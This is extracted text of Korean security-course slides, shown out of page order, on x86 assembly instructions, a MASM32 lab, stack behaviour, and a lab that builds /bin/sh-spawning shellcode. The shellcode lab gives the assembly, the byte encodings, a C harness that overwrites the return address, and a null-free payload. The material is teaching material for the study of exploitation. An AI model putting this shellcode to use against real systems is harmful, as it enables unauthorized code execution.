➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 25: 80×86  시스템에 대한 이해

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

